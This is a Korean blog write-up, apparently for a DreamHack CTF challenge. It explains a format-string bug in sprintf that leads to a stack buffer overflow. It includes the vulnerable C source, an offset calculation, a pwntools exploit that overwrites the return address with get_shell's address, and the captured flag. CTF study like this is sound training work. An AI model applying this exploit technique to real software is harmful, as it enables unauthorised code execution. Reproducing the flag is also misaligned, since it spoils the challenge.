NX 보호 기법이 켜져있다. 쉘 코드가 실행되지 않다는 뜻이다.
Partial RELRO이므로 GOT Overwrite 가 가능하다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
read(0, heap_buf, 0x80)로 stack_buf 입력을 0x80 바이트만 받는다.
stack_buf에선 BOF가 발생하지 않는다.
sprintf에 주목했다. 입력 값을 heap_buf에 저장하고 sprintf(stack_buf, heap_buf)로 stack_buf에 복사한다. 이 때 복사 과정에서 heap_buf에 대한 검증을 하지 않는다.
따라서 sprintf()를 실행할 때 heap_buf에 format string이 있다면 FSB가 발생한다. 이렇게 FSB 를 트리거하면 사이즈 제한 없이 입력할 수 있으니까 BOF를 발생시킬 수 있다.
즉 heap_buf에서 stack_buf로 출력할 때, %100c가 적재되면 heap_buf에는 "%100c"로 5자리 문자로 인식되나 stack_buf에는 100바이트가 입력되는 것이다.
이를 이용해서 ret부분까지 format string으로 채우고, ret에 get_shell 주소를 입력해보자.
get_shell() 주소는 0x8048669이다.
stack_buf 에서 RET까지의 거리를 구해보자. [ebp-0x98]인 stack_buf 주소를 인자로 넣고 printf()를 실행한다.
즉 [ebp-0x98]이 stack_buf 주소가 되니까, 152(0x98)+ 4(SFP) = 156 byte만큼이 stack_buf 에서 RET까지의 거리가 된다.
from pwn import*
p = remote("host3.dreamhack.games", 15694)
get_shell = 0x8048669
payload = b'%156c' + p32(get_shell)
p.sendline(payload)
p.interactive()
RET을 덮으려면 stack_buf을 156 byte dummy로 채워야하는데, 이 때 임의의 바이트를 더미로 메모리에 저장하는 "%c" 포맷스트링을 사용해주었다.
Flag is
DH{4e6e355c62249b2da3b566f0d575007e}
'Pwnable' 카테고리의 다른 글
pwn | dart master write up (0) | 2024.10.23 |
---|---|
[DreamHack] format string bug Write-Up (0) | 2024.09.28 |
[DreamHack] PIE, RELRO, Out of Bounds Keywords && Quiz (0) | 2024.09.22 |
[DreamHack] Out of bound Write-Up (0) | 2024.09.22 |
[Dreamhack] basic_exploitation_001 Write-Up (0) | 2024.09.19 |